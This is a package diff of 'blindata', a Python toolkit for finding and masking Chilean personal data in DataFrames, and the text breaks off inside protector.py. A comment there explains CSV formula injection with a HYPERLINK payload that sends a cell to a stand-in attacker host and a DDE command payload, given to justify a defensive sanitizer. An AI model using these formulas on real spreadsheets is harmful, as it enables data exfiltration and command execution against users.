blindata 0.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- blindata/__init__.py +25 -0
- blindata/core.py +498 -0
- blindata/protector.py +188 -0
- blindata/scanner.py +467 -0
- blindata-0.1.0.dist-info/METADATA +171 -0
- blindata-0.1.0.dist-info/RECORD +9 -0
- blindata-0.1.0.dist-info/WHEEL +5 -0
- blindata-0.1.0.dist-info/licenses/LICENSE +21 -0
- blindata-0.1.0.dist-info/top_level.txt +1 -0
blindata/__init__.py
ADDED
|
@@ -0,0 +1,25 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Blindata — Compliance Toolkit para Data Analysts en Chile
|
|
3
|
+
==========================================================
|
|
4
|
+
Una línea de código entre tu análisis y una multa.
|
|
5
|
+
|
|
6
|
+
Uso rápido:
|
|
7
|
+
>>> from blindata import Blindata
|
|
8
|
+
>>> bd = Blindata(sector="salud")
|
|
9
|
+
>>> resultado = bd.scan(df)
|
|
10
|
+
>>> resultado.mostrar()
|
|
11
|
+
|
|
12
|
+
Con protección y reporte:
|
|
13
|
+
>>> df_seguro = bd.proteger(df)
|
|
14
|
+
>>> bd.reporte_pdf("cumplimiento.pdf", responsable="Mi Empresa SpA")
|
|
15
|
+
|
|
16
|
+
Autora: Daniela Inostroza
|
|
17
|
+
Web: blindata.cl
|
|
18
|
+
"""
|
|
19
|
+
|
|
20
|
+
__version__ = "0.1.0"
|
|
21
|
+
__author__ = "Daniela Inostroza"
|
|
22
|
+
|
|
23
|
+
from blindata.core import Blindata
|
|
24
|
+
|
|
25
|
+
__all__ = ["Blindata"]
|
blindata/core.py
ADDED
|
@@ -0,0 +1,498 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Blindata — Módulo Core
|
|
3
|
+
============================
|
|
4
|
+
Clase principal que unifica el flujo de trabajo en una interfaz limpia
|
|
5
|
+
y maneja la lógica de tiers.
|
|
6
|
+
|
|
7
|
+
Uso rápido:
|
|
8
|
+
from blindata import Blindata
|
|
9
|
+
bd = Blindata(sector="salud")
|
|
10
|
+
bd.scan(df).mostrar()
|
|
11
|
+
df_seguro = bd.proteger(df)
|
|
12
|
+
|
|
13
|
+
Modelo de tiers:
|
|
14
|
+
Community (gratis): scan básico (RUT, email, teléfono) + enmascaramiento
|
|
15
|
+
Pro (SaaS): features avanzadas — ver blindata.cl
|
|
16
|
+
|
|
17
|
+
Autora: Daniela Inostroza
|
|
18
|
+
Proyecto: Blindata
|
|
19
|
+
"""
|
|
20
|
+
|
|
21
|
+
import re
|
|
22
|
+
import logging
|
|
23
|
+
import pandas as pd
|
|
24
|
+
from typing import Any, Optional, TypedDict
|
|
25
|
+
from dataclasses import dataclass, field
|
|
26
|
+
|
|
27
|
+
|
|
28
|
+
# ============================================================
|
|
29
|
+
# 0. TIPOS
|
|
30
|
+
# ============================================================
|
|
31
|
+
|
|
32
|
+
class TierFeatures(TypedDict):
|
|
33
|
+
descripcion: str
|
|
34
|
+
detectores_regex: bool
|
|
35
|
+
detectores_avanzados: bool
|
|
36
|
+
clasificacion_sectorial: bool
|
|
37
|
+
pseudonimizacion: bool
|
|
38
|
+
reporte_pdf: bool
|
|
39
|
+
sectores: list[str]
|
|
40
|
+
|
|
41
|
+
|
|
42
|
+
# Logger del paquete. Sigue el patrón estándar de librerías Python
|
|
43
|
+
# (PEP 282): la librería NO configura handlers ni llama a basicConfig
|
|
44
|
+
# — eso lo hace la aplicación que usa Blindata.
|
|
45
|
+
#
|
|
46
|
+
# IMPORTANTE: NUNCA loguear PII (valores de celdas, semillas, mapas
|
|
47
|
+
# internos). Solo metadatos seguros: nombres de columnas, contadores,
|
|
48
|
+
# tipos detectados, sectores.
|
|
49
|
+
logger = logging.getLogger("blindata")
|
|
50
|
+
|
|
51
|
+
from blindata.scanner import (
|
|
52
|
+
scan as _scan_completo,
|
|
53
|
+
validar_rut,
|
|
54
|
+
imprimir_reporte,
|
|
55
|
+
)
|
|
56
|
+
from blindata.protector import Protector
|
|
57
|
+
|
|
58
|
+
# ============================================================
|
|
59
|
+
# DETECCIÓN OPCIONAL DE MÓDULOS PRO
|
|
60
|
+
# ============================================================
|
|
61
|
+
#
|
|
62
|
+
# Open-Core: el repo público (este) contiene solo Community.
|
|
63
|
+
# Las features avanzadas viven en un paquete propietario que
|
|
64
|
+
# solo se instala en el SaaS oficial.
|
|
65
|
+
|
|
66
|
+
try:
|
|
67
|
+
import blindata_pro as _pro
|
|
68
|
+
_PRO_DISPONIBLE = True
|
|
69
|
+
except ImportError:
|
|
70
|
+
_pro = None # type: ignore[assignment]
|
|
71
|
+
_PRO_DISPONIBLE = False
|
|
72
|
+
|
|
73
|
+
|
|
74
|
+
# ============================================================
|
|
75
|
+
# TIERS: Qué incluye cada plan
|
|
76
|
+
# ============================================================
|
|
77
|
+
#
|
|
78
|
+
# Modelo Open-Core con dos tiers:
|
|
79
|
+
#
|
|
80
|
+
# Community (gratuito, permanente):
|
|
81
|
+
# - Detección regex: RUT, email, teléfono
|
|
82
|
+
# - Enmascaramiento
|
|
83
|
+
#
|
|
84
|
+
# Pro (SaaS oficial, ver blindata.cl):
|
|
85
|
+
# - Detección completa de PII chileno
|
|
86
|
+
# - Clasificación legal sectorial
|
|
87
|
+
# - Protección avanzada
|
|
88
|
+
# - Reporte PDF para APDP
|
|
89
|
+
#
|
|
90
|
+
# Mientras Pro no esté disponible vía el SaaS oficial:
|
|
91
|
+
# - Blindata() sin api_key → funciona en Community (gratis).
|
|
92
|
+
# - Blindata(api_key=...) con CUALQUIER valor → lanza NotImplementedError
|
|
93
|
+
# honesto: "Pro aún no disponible — disponible con el lanzamiento
|
|
94
|
+
# del SaaS en blindata.cl".
|
|
95
|
+
#
|
|
96
|
+
# Cuando el backend SaaS exista, el gate Pro se activará validando
|
|
97
|
+
# la api_key contra el endpoint de billing.
|
|
98
|
+
|
|
99
|
+
TIER_COMMUNITY = "community"
|
|
100
|
+
TIER_PRO = "pro"
|
|
101
|
+
|
|
102
|
+
FEATURES: dict[str, TierFeatures] = {
|
|
103
|
+
TIER_COMMUNITY: {
|
|
104
|
+
"descripcion": "Plan Community (gratuito)",
|
|
105
|
+
"detectores_regex": True,
|
|
106
|
+
"detectores_avanzados": False,
|
|
107
|
+
"clasificacion_sectorial": False,
|
|
108
|
+
"pseudonimizacion": False,
|
|
109
|
+
"reporte_pdf": False,
|
|
110
|
+
"sectores": ["general"],
|
|
111
|
+
},
|
|
112
|
+
TIER_PRO: {
|
|
113
|
+
"descripcion": "Plan Pro (SaaS)",
|
|
114
|
+
"detectores_regex": True,
|
|
115
|
+
"detectores_avanzados": True,
|
|
116
|
+
"clasificacion_sectorial": True,
|
|
117
|
+
"pseudonimizacion": True,
|
|
118
|
+
"reporte_pdf": True,
|
|
119
|
+
"sectores": ["salud", "banca", "gobierno", "educacion", "retail", "general"],
|
|
120
|
+
},
|
|
121
|
+
}
|
|
122
|
+
|
|
123
|
+
|
|
124
|
+
# ============================================================
|
|
125
|
+
# RESULTADO DEL ESCANEO
|
|
126
|
+
# ============================================================
|
|
127
|
+
|
|
128
|
+
@dataclass
|
|
129
|
+
class ResultadoScan:
|
|
130
|
+
"""
|
|
131
|
+
Contenedor del resultado del escaneo con métodos
|
|
132
|
+
para mostrar e inspeccionar los datos.
|
|
133
|
+
"""
|
|
134
|
+
reporte: dict
|
|
135
|
+
clasificacion: Optional[dict] = None
|
|
136
|
+
tier: str = TIER_COMMUNITY
|
|
137
|
+
|
|
138
|
+
def mostrar(self) -> None:
|
|
139
|
+
"""Imprime el reporte de escaneo en formato tabla."""
|
|
140
|
+
imprimir_reporte(self.reporte)
|
|
141
|
+
if self.clasificacion and _PRO_DISPONIBLE:
|
|
142
|
+
_pro.imprimir_clasificacion(self.clasificacion)
|
|
143
|
+
|
|
144
|
+
@property
|
|
145
|
+
def columnas_con_pii(self) -> list[str]:
|
|
146
|
+
"""Lista de columnas donde se detectó PII."""
|
|
147
|
+
return [
|
|
148
|
+
col for col, info in self.reporte["columnas"].items()
|
|
149
|
+
if info["tipo_detectado"] is not None
|
|
150
|
+
]
|
|
151
|
+
|
|
152
|
+
@property
|
|
153
|
+
def columnas_limpias(self) -> list[str]:
|
|
154
|
+
"""Lista de columnas sin PII detectado."""
|
|
155
|
+
return [
|
|
156
|
+
col for col, info in self.reporte["columnas"].items()
|
|
157
|
+
if info["tipo_detectado"] is None
|
|
158
|
+
]
|
|
159
|
+
|
|
160
|
+
@property
|
|
161
|
+
def requiere_dpia(self) -> bool:
|
|
162
|
+
"""¿El dataset requiere Evaluación de Impacto?"""
|
|
163
|
+
if self.clasificacion:
|
|
164
|
+
return self.clasificacion.get("requiere_dpia_global", False)
|
|
165
|
+
return False
|
|
166
|
+
|
|
167
|
+
@property
|
|
168
|
+
def resumen(self) -> dict:
|
|
169
|
+
"""Resumen rápido del escaneo."""
|
|
170
|
+
return self.reporte["resumen"]
|
|
171
|
+
|
|
172
|
+
def tipo_de(self, columna: str) -> Optional[str]:
|
|
173
|
+
"""Devuelve el tipo de PII detectado en una columna."""
|
|
174
|
+
info = self.reporte["columnas"].get(columna, {})
|
|
175
|
+
return info.get("tipo_detectado")
|
|
176
|
+
|
|
177
|
+
def __repr__(self) -> str:
|
|
178
|
+
r = self.reporte["resumen"]
|
|
179
|
+
return (
|
|
180
|
+
f"ResultadoScan("
|
|
181
|
+
f"columnas={r['total_columnas']}, "
|
|
182
|
+
f"con_pii={r['columnas_con_pii']}, "
|
|
183
|
+
f"tipos={r['tipos_encontrados']})"
|
|
184
|
+
)
|
|
185
|
+
|
|
186
|
+
|
|
187
|
+
# ============================================================
|
|
188
|
+
# CLASE PRINCIPAL: Blindata
|
|
189
|
+
# ============================================================
|
|
190
|
+
|
|
191
|
+
class Blindata:
|
|
192
|
+
"""
|
|
193
|
+
Punto de entrada principal de Blindata.
|
|
194
|
+
|
|
195
|
+
Uso (Community — gratuito, disponible hoy):
|
|
196
|
+
>>> bd = Blindata()
|
|
197
|
+
>>> resultado = bd.scan(df)
|
|
198
|
+
>>> resultado.mostrar()
|
|
199
|
+
>>> df_seguro = bd.proteger(df)
|
|
200
|
+
|
|
201
|
+
Uso (Pro — disponible con el lanzamiento del SaaS):
|
|
202
|
+
>>> bd = Blindata(api_key="...", sector="salud")
|
|
203
|
+
|
|
204
|
+
Args:
|
|
205
|
+
sector: Contexto sectorial. En Community solo se usa
|
|
206
|
+
"general"; en Pro decide cómo se elevan los
|
|
207
|
+
niveles de riesgo ("salud", "banca", "gobierno",
|
|
208
|
+
"educacion", "retail", "general").
|
|
209
|
+
api_key: Clave para activar Pro. Se obtiene en blindata.cl.
|
|
210
|
+
semilla: Clave para reproducibilidad (solo se usa en Pro).
|
|
211
|
+
"""
|
|
212
|
+
|
|
213
|
+
def __init__(
|
|
214
|
+
self,
|
|
215
|
+
sector: str = "general",
|
|
216
|
+
api_key: Optional[str] = None,
|
|
217
|
+
semilla: Optional[str] = None,
|
|
218
|
+
) -> None:
|
|
219
|
+
self.sector = sector
|
|
220
|
+
self.api_key = api_key
|
|
221
|
+
self.semilla = semilla
|
|
222
|
+
|
|
223
|
+
self.tier = self._resolver_tier()
|
|
224
|
+
|
|
225
|
+
self._ultimo_reporte: Optional[dict] = None
|
|
226
|
+
self._ultima_clasificacion: Optional[dict] = None
|
|
227
|
+
self._protector: Optional[Protector] = None
|
|
228
|
+
|
|
229
|
+
# Validar sector según tier.
|
|
230
|
+
features = FEATURES[self.tier]
|
|
231
|
+
if sector not in features["sectores"]:
|
|
232
|
+
sectores_disp = ", ".join(features["sectores"])
|
|
233
|
+
if self.tier == TIER_COMMUNITY:
|
|
234
|
+
logger.warning(
|
|
235
|
+
"Community no clasifica por sector. "
|
|
236
|
+
"Sector '%s' será ignorado; el scan corre con "
|
|
237
|
+
"detección básica. Clasificación sectorial "
|
|
238
|
+
"disponible en Pro (blindata.cl).",
|
|
239
|
+
sector,
|
|
240
|
+
)
|
|
241
|
+
self.sector = "general"
|
|
242
|
+
else:
|
|
243
|
+
raise ValueError(
|
|
244
|
+
f"Sector '{sector}' no disponible. "
|
|
245
|
+
f"Sectores: {sectores_disp}"
|
|
246
|
+
)
|
|
247
|
+
|
|
248
|
+
def _resolver_tier(self) -> str:
|
|
249
|
+
"""
|
|
250
|
+
Determina el tier según la api_key y la disponibilidad
|
|
251
|
+
de módulos Pro.
|
|
252
|
+
"""
|
|
253
|
+
if not self.api_key:
|
|
254
|
+
return TIER_COMMUNITY
|
|
255
|
+
|
|
256
|
+
if not _PRO_DISPONIBLE:
|
|
257
|
+
raise NotImplementedError(
|
|
258
|
+
"El plan Pro de Blindata solo está disponible en los "
|
|
259
|
+
"contenedores del SaaS oficial (blindata.cl).\n\n"
|
|
260
|
+
"Si estás corriendo Blindata localmente (vía "
|
|
261
|
+
"`pip install blindata`), tenés acceso al plan Community:\n"
|
|
262
|
+
" bd = Blindata() # detecta RUT, email, teléfono + "
|
|
263
|
+
"enmascaramiento.\n\n"
|
|
264
|
+
"Para features avanzadas, activá tu plan en blindata.cl."
|
|
265
|
+
)
|
|
266
|
+
|
|
267
|
+
return TIER_PRO
|
|
268
|
+
|
|
269
|
+
# ============================================================
|
|
270
|
+
# SCAN
|
|
271
|
+
# ============================================================
|
|
272
|
+
|
|
273
|
+
def scan(self, df: pd.DataFrame) -> ResultadoScan:
|
|
274
|
+
"""
|
|
275
|
+
Escanea un DataFrame y detecta datos personales.
|
|
276
|
+
|
|
277
|
+
Plan Community: detecta RUT, email, teléfono (regex).
|
|
278
|
+
Plan Pro: detección completa + clasificación legal.
|
|
279
|
+
|
|
280
|
+
Args:
|
|
281
|
+
df: DataFrame de Pandas a escanear.
|
|
282
|
+
|
|
283
|
+
Returns:
|
|
284
|
+
ResultadoScan con el reporte completo.
|
|
285
|
+
"""
|
|
286
|
+
features = FEATURES[self.tier]
|
|
287
|
+
|
|
288
|
+
reporte = _scan_completo(df, incluir_avanzados=features["detectores_avanzados"])
|
|
289
|
+
|
|
290
|
+
clasificacion = None
|
|
291
|
+
if features["clasificacion_sectorial"] and _PRO_DISPONIBLE:
|
|
292
|
+
clasificacion = _pro.clasificar(reporte, sector=self.sector)
|
|
293
|
+
|
|
294
|
+
logger.info(
|
|
295
|
+
"scan completado: tier=%s sector=%s filas=%d columnas=%d con_pii=%d",
|
|
296
|
+
self.tier,
|
|
297
|
+
self.sector,
|
|
298
|
+
len(df),
|
|
299
|
+
reporte["resumen"]["total_columnas"],
|
|
300
|
+
reporte["resumen"]["columnas_con_pii"],
|
|
301
|
+
)
|
|
302
|
+
|
|
303
|
+
self._ultimo_reporte = reporte
|
|
304
|
+
self._ultima_clasificacion = clasificacion
|
|
305
|
+
|
|
306
|
+
return ResultadoScan(
|
|
307
|
+
reporte=reporte,
|
|
308
|
+
clasificacion=clasificacion,
|
|
309
|
+
tier=self.tier,
|
|
310
|
+
)
|
|
311
|
+
|
|
312
|
+
# ============================================================
|
|
313
|
+
# PROTEGER
|
|
314
|
+
# ============================================================
|
|
315
|
+
|
|
316
|
+
def proteger(
|
|
317
|
+
self,
|
|
318
|
+
df: pd.DataFrame,
|
|
319
|
+
estrategia: str = "auto",
|
|
320
|
+
) -> pd.DataFrame:
|
|
321
|
+
"""
|
|
322
|
+
Protege automáticamente los datos personales del DataFrame.
|
|
323
|
+
|
|
324
|
+
Plan Community: enmascaramiento.
|
|
325
|
+
Plan Pro: protección avanzada según clasificación legal.
|
|
326
|
+
|
|
327
|
+
Args:
|
|
328
|
+
df: DataFrame original.
|
|
329
|
+
estrategia: "auto" (recomendado) o "maxima".
|
|
330
|
+
|
|
331
|
+
Returns:
|
|
332
|
+
DataFrame protegido (el original no se modifica).
|
|
333
|
+
"""
|
|
334
|
+
if self._ultimo_reporte is None:
|
|
335
|
+
self.scan(df)
|
|
336
|
+
|
|
337
|
+
# Pro: si hay clasificación, usar el protector avanzado.
|
|
338
|
+
if self._ultima_clasificacion and _PRO_DISPONIBLE:
|
|
339
|
+
self._protector = _pro.Protector(semilla=self.semilla)
|
|
340
|
+
df_protegido = self._protector.protect(
|
|
341
|
+
df, self._ultima_clasificacion, estrategia=estrategia
|
|
342
|
+
)
|
|
343
|
+
metodos = sorted({a["metodo"] for a in self._protector.registro_acciones})
|
|
344
|
+
logger.info(
|
|
345
|
+
"proteger completado: tier=%s acciones=%d metodos=%s",
|
|
346
|
+
self.tier,
|
|
347
|
+
len(self._protector.registro_acciones),
|
|
348
|
+
metodos,
|
|
349
|
+
)
|
|
350
|
+
return df_protegido
|
|
351
|
+
|
|
352
|
+
# Community: protección básica (enmascaramiento).
|
|
353
|
+
self._protector = Protector(semilla=self.semilla)
|
|
354
|
+
df_protegido = df.copy()
|
|
355
|
+
|
|
356
|
+
assert self._ultimo_reporte is not None
|
|
357
|
+
for col, info in self._ultimo_reporte["columnas"].items():
|
|
358
|
+
if info["tipo_detectado"] is None:
|
|
359
|
+
continue
|
|
360
|
+
if col not in df_protegido.columns:
|
|
361
|
+
continue
|
|
362
|
+
|
|
363
|
+
tipo = info["tipo_detectado"]
|
|
364
|
+
|
|
365
|
+
if "RUT" in tipo:
|
|
366
|
+
df_protegido[col] = self._protector.enmascarar(
|
|
367
|
+
df_protegido[col], tipo="rut"
|
|
368
|
+
)
|
|
369
|
+
elif "Correo" in tipo or "email" in tipo.lower():
|
|
370
|
+
df_protegido[col] = self._protector.enmascarar(
|
|
371
|
+
df_protegido[col], tipo="email"
|
|
372
|
+
)
|
|
373
|
+
elif "Teléfono" in tipo or "celular" in tipo.lower():
|
|
374
|
+
df_protegido[col] = self._protector.enmascarar(
|
|
375
|
+
df_protegido[col], tipo="telefono"
|
|
376
|
+
)
|
|
377
|
+
else:
|
|
378
|
+
df_protegido[col] = self._protector.enmascarar(
|
|
379
|
+
df_protegido[col], tipo="general"
|
|
380
|
+
)
|
|
381
|
+
|
|
382
|
+
if self._protector:
|
|
383
|
+
metodos = sorted({a["metodo"] for a in self._protector.registro_acciones})
|
|
384
|
+
logger.info(
|
|
385
|
+
"proteger completado: tier=%s acciones=%d metodos=%s",
|
|
386
|
+
self.tier,
|
|
387
|
+
len(self._protector.registro_acciones),
|
|
388
|
+
metodos,
|
|
389
|
+
)
|
|
390
|
+
return df_protegido
|
|
391
|
+
|
|
392
|
+
# ============================================================
|
|
393
|
+
# REPORTE PDF
|
|
394
|
+
# ============================================================
|
|
395
|
+
|
|
396
|
+
def reporte_pdf(
|
|
397
|
+
self,
|
|
398
|
+
output: str = "reporte_cumplimiento.pdf",
|
|
399
|
+
responsable: str = "Sin especificar",
|
|
400
|
+
finalidad: str = "Sin especificar",
|
|
401
|
+
base_legal: str = "Sin especificar",
|
|
402
|
+
dpo: Optional[str] = None,
|
|
403
|
+
df: Optional[pd.DataFrame] = None,
|
|
404
|
+
) -> str:
|
|
405
|
+
"""
|
|
406
|
+
Genera un reporte de cumplimiento en PDF.
|
|
407
|
+
|
|
408
|
+
Solo disponible en plan Pro.
|
|
409
|
+
"""
|
|
410
|
+
features = FEATURES[self.tier]
|
|
411
|
+
|
|
412
|
+
if not features["reporte_pdf"]:
|
|
413
|
+
logger.warning(
|
|
414
|
+
"Reporte PDF solicitado en Community — denegado. "
|
|
415
|
+
"Feature disponible en Pro (blindata.cl)."
|
|
416
|
+
)
|
|
417
|
+
return ""
|
|
418
|
+
|
|
419
|
+
if self._ultimo_reporte is None:
|
|
420
|
+
raise ValueError(
|
|
421
|
+
"Primero debes escanear un DataFrame con bd.scan(df)"
|
|
422
|
+
)
|
|
423
|
+
|
|
424
|
+
if self._ultima_clasificacion is None:
|
|
425
|
+
raise ValueError(
|
|
426
|
+
"La clasificación legal no está disponible. "
|
|
427
|
+
"Asegúrate de usar el plan Pro."
|
|
428
|
+
)
|
|
429
|
+
|
|
430
|
+
acciones = []
|
|
431
|
+
if self._protector:
|
|
432
|
+
acciones = self._protector.registro_acciones
|
|
433
|
+
|
|
434
|
+
if df is None:
|
|
435
|
+
raise ValueError(
|
|
436
|
+
"Provee el DataFrame original: bd.reporte_pdf('reporte.pdf', df=mi_df)"
|
|
437
|
+
)
|
|
438
|
+
|
|
439
|
+
if not _PRO_DISPONIBLE:
|
|
440
|
+
return ""
|
|
441
|
+
|
|
442
|
+
ruta = _pro.generar_reporte_pdf(
|
|
443
|
+
reporte_scan=self._ultimo_reporte,
|
|
444
|
+
clasificacion=self._ultima_clasificacion,
|
|
445
|
+
acciones=acciones,
|
|
446
|
+
df_original=df,
|
|
447
|
+
output=output,
|
|
448
|
+
responsable=responsable,
|
|
449
|
+
finalidad=finalidad,
|
|
450
|
+
base_legal=base_legal,
|
|
451
|
+
dpo=dpo,
|
|
452
|
+
)
|
|
453
|
+
|
|
454
|
+
logger.info("Reporte PDF generado en %s", ruta)
|
|
455
|
+
return ruta
|
|
456
|
+
|
|
457
|
+
# ============================================================
|
|
458
|
+
# INFORMACIÓN DEL TIER
|
|
459
|
+
# ============================================================
|
|
460
|
+
|
|
461
|
+
def info(self) -> None:
|
|
462
|
+
"""Muestra información del plan actual."""
|
|
463
|
+
features = FEATURES[self.tier]
|
|
464
|
+
print(f"\n🛡️ Blindata v{__version__}")
|
|
465
|
+
print(f" Plan: {features['descripcion']}")
|
|
466
|
+
print(f" Sector: {self.sector}")
|
|
467
|
+
print()
|
|
468
|
+
|
|
469
|
+
checks = [
|
|
470
|
+
("Detección RUT, email, teléfono", features["detectores_regex"]),
|
|
471
|
+
("Detección avanzada de PII chileno", features["detectores_avanzados"]),
|
|
472
|
+
("Clasificación por sector", features["clasificacion_sectorial"]),
|
|
473
|
+
("Protección avanzada", features["pseudonimizacion"]),
|
|
474
|
+
("Reporte PDF para APDP", features["reporte_pdf"]),
|
|
475
|
+
]
|
|
476
|
+
|
|
477
|
+
for nombre, activo in checks:
|
|
478
|
+
icono = "✅" if activo else "🔒"
|
|
479
|
+
print(f" {icono} {nombre}")
|
|
480
|
+
|
|
481
|
+
if self.tier == TIER_COMMUNITY:
|
|
482
|
+
print(
|
|
483
|
+
"\n ℹ️ Plan Pro disponible en blindata.cl"
|
|
484
|
+
"\n (detección completa de 12 tipos de PII chileno,"
|
|
485
|
+
"\n clasificación sectorial y reporte PDF)."
|
|
486
|
+
)
|
|
487
|
+
|
|
488
|
+
print()
|
|
489
|
+
|
|
490
|
+
def __repr__(self) -> str:
|
|
491
|
+
return (
|
|
492
|
+
f"Blindata(sector='{self.sector}', "
|
|
493
|
+
f"tier='{self.tier}')"
|
|
494
|
+
)
|
|
495
|
+
|
|
496
|
+
|
|
497
|
+
# Para imports directos
|
|
498
|
+
from blindata import __version__
|
blindata/protector.py
ADDED
|
@@ -0,0 +1,188 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Blindata — Módulo Protector (Community)
|
|
3
|
+
==========================================
|
|
4
|
+
Capa Community del protector: enmascaramiento + utilidad de
|
|
5
|
+
sanitización contra CSV injection.
|
|
6
|
+
|
|
7
|
+
Las features avanzadas de protección están en el paquete Pro,
|
|
8
|
+
disponible con el SaaS oficial en blindata.cl.
|
|
9
|
+
|
|
10
|
+
Autora: Daniela Inostroza
|
|
11
|
+
Proyecto: Blindata (Community)
|
|
12
|
+
"""
|
|
13
|
+
|
|
14
|
+
import re
|
|
15
|
+
import secrets
|
|
16
|
+
from datetime import datetime
|
|
17
|
+
from typing import Optional
|
|
18
|
+
|
|
19
|
+
import pandas as pd
|
|
20
|
+
|
|
21
|
+
|
|
22
|
+
# ============================================================
|
|
23
|
+
# UTILIDAD: Sanitización contra CSV injection (formula injection)
|
|
24
|
+
# ============================================================
|
|
25
|
+
#
|
|
26
|
+
# ¿Qué es CSV injection?
|
|
27
|
+
# Si una celda string de un CSV/XLSX empieza con `=`, `+`, `-`, `@`,
|
|
28
|
+
# `\t` o `\r`, Excel/LibreOffice/Google Sheets la interpretan como
|
|
29
|
+
# FÓRMULA al abrir el archivo. Eso permite:
|
|
30
|
+
#
|
|
31
|
+
# =HYPERLINK("http://atacante.com/?d="&A1, "Click aquí")
|
|
32
|
+
# → exfiltra la celda A1 a un servidor externo cuando la víctima
|
|
33
|
+
# hace click en el enlace.
|
|
34
|
+
#
|
|
35
|
+
# =cmd|'/c calc'!A1
|
|
36
|
+
# → en Excel antiguo, ejecuta comandos del sistema (DDE).
|
|
37
|
+
#
|
|
38
|
+
# Como Blindata acepta CSV/Excel del usuario y exporta CSV "protegido"
|
|
39
|
+
# de vuelta, somos un VEHÍCULO PERFECTO para este ataque:
|
|
40
|
+
# atacante sube CSV malicioso → Blindata lo "protege" sin tocar los
|
|
41
|
+
# campos no-PII → analista descarga y lo abre en Excel → ejecuta.
|
|
42
|
+
#
|
|
43
|
+
# Solución (OWASP): si una celda string empieza con uno de los
|
|
44
|
+
# caracteres peligrosos, le anteponemos un apóstrofe `'`. Excel
|
|
45
|
+
# trata el `'` inicial como "esto es texto literal, no fórmula" y
|
|
46
|
+
# no lo muestra al usuario.
|
|
47
|
+
|
|
48
|
+
_CARACTERES_PELIGROSOS_CSV = ("=", "+", "-", "@", "\t", "\r")
|
|
49
|
+
|
|
50
|
+
|
|
51
|
+
def sanitizar_para_csv(df: pd.DataFrame) -> pd.DataFrame:
|
|
52
|
+
"""
|
|
53
|
+
Devuelve una COPIA del DataFrame con todas las celdas string
|
|
54
|
+
sanitizadas contra CSV injection (formula injection).
|
|
55
|
+
|
|
56
|
+
Cualquier celda string que empiece con `=`, `+`, `-`, `@`,
|
|
57
|
+
tab o CR recibe un apóstrofe `'` al inicio.
|
|
58
|
+
|
|
59
|
+
No modifica:
|
|
60
|
+
- Valores numéricos (no son fórmulas).
|
|
61
|
+
- NaN/None.
|
|
62
|
+
- Strings que no empiezan con caracteres peligrosos.
|
|
63
|
+
|
|
64
|
+
Args:
|
|
65
|
+
df: DataFrame a sanitizar.
|
|
66
|
+
|
|
67
|
+
Returns:
|
|
68
|
+
Copia del DataFrame con strings sanitizados.
|
|
69
|
+
"""
|
|
70
|
+
def _sanitizar_celda(valor):
|
|
71
|
+
if not isinstance(valor, str):
|
|
72
|
+
return valor
|
|
73
|
+
if not valor:
|
|
74
|
+
return valor
|
|
75
|
+
if valor[0] in _CARACTERES_PELIGROSOS_CSV:
|
|
76
|
+
return "'" + valor
|
|
77
|
+
return valor
|
|
78
|
+
|
|
79
|
+
df_seguro = df.copy()
|
|
80
|
+
for col in df_seguro.columns:
|
|
81
|
+
if df_seguro[col].dtype.name in ("object", "str", "string") or df_seguro[col].dtype == object:
|
|
82
|
+
df_seguro[col] = df_seguro[col].map(_sanitizar_celda)
|
|
83
|
+
return df_seguro
|
|
84
|
+
|
|
85
|
+
|
|
86
|
+
# ============================================================
|
|
87
|
+
# PROTECTOR — Capa Community (enmascaramiento)
|
|
88
|
+
# ============================================================
|
|
89
|
+
|
|
90
|
+
|
|
91
|
+
class Protector:
|
|
92
|
+
"""
|
|
93
|
+
Motor Community de protección de datos personales.
|
|
94
|
+
|
|
95
|
+
Provee:
|
|
96
|
+
- sanitizar_para_csv() a nivel de módulo.
|
|
97
|
+
- enmascarar() con estrategias por tipo (RUT, email, teléfono,
|
|
98
|
+
general).
|
|
99
|
+
- Registro de acciones (log de transformaciones).
|
|
100
|
+
|
|
101
|
+
Las capacidades avanzadas de protección están disponibles en el
|
|
102
|
+
plan Pro (blindata.cl).
|
|
103
|
+
"""
|
|
104
|
+
|
|
105
|
+
def __init__(
|
|
106
|
+
self,
|
|
107
|
+
semilla: Optional[str] = None,
|
|
108
|
+
max_mapa_size: int = 1_000_000,
|
|
109
|
+
) -> None:
|
|
110
|
+
"""
|
|
111
|
+
Args:
|
|
112
|
+
semilla: Clave para reproducibilidad.
|
|
113
|
+
max_mapa_size: Tope del mapa interno.
|
|
114
|
+
"""
|
|
115
|
+
self.semilla = semilla or secrets.token_hex(16)
|
|
116
|
+
self.max_mapa_size = max_mapa_size
|
|
117
|
+
self._mapa_pseudonimos: dict[str, str] = {}
|
|
118
|
+
self.registro_acciones: list[dict] = []
|
|
119
|
+
|
|
120
|
+
# ----------------------------------------------------------
|
|
121
|
+
# Enmascaramiento
|
|
122
|
+
# ----------------------------------------------------------
|
|
123
|
+
# Oculta parte del valor pero mantiene el formato reconocible.
|
|
124
|
+
# Útil para que un humano pueda verificar parcialmente
|
|
125
|
+
# ("sí, ese RUT termina en -5, es el correcto").
|
|
126
|
+
|
|
127
|
+
def enmascarar(self, serie: pd.Series, tipo: str = "general") -> pd.Series:
|
|
128
|
+
"""
|
|
129
|
+
Enmascara parcialmente los valores, manteniendo formato.
|
|
130
|
+
|
|
131
|
+
Args:
|
|
132
|
+
serie: Columna a enmascarar.
|
|
133
|
+
tipo: Tipo de dato para enmascaramiento inteligente.
|
|
134
|
+
"rut" → **.***.678-5
|
|
135
|
+
"email" → m****z@gmail.com
|
|
136
|
+
"telefono" → +56 9 **** 5678
|
|
137
|
+
"general" → enmascaramiento genérico
|
|
138
|
+
|
|
139
|
+
Returns:
|
|
140
|
+
Serie con valores enmascarados.
|
|
141
|
+
"""
|
|
142
|
+
estrategias = {
|
|
143
|
+
"rut": self._enmascarar_rut,
|
|
144
|
+
"email": self._enmascarar_email,
|
|
145
|
+
"telefono": self._enmascarar_telefono,
|
|
146
|
+
"general": self._enmascarar_general,
|
|
147
|
+
}
|
|
148
|
+
|
|
149
|
+
fn = estrategias.get(tipo, self._enmascarar_general)
|
|
150
|
+
resultado = serie.map(lambda v: fn(str(v)) if pd.notna(v) else v)
|
|
151
|
+
|
|
152
|
+
self.registro_acciones.append({
|
|
153
|
+
"columna": serie.name,
|
|
154
|
+
"metodo": f"enmascaramiento ({tipo})",
|
|
155
|
+
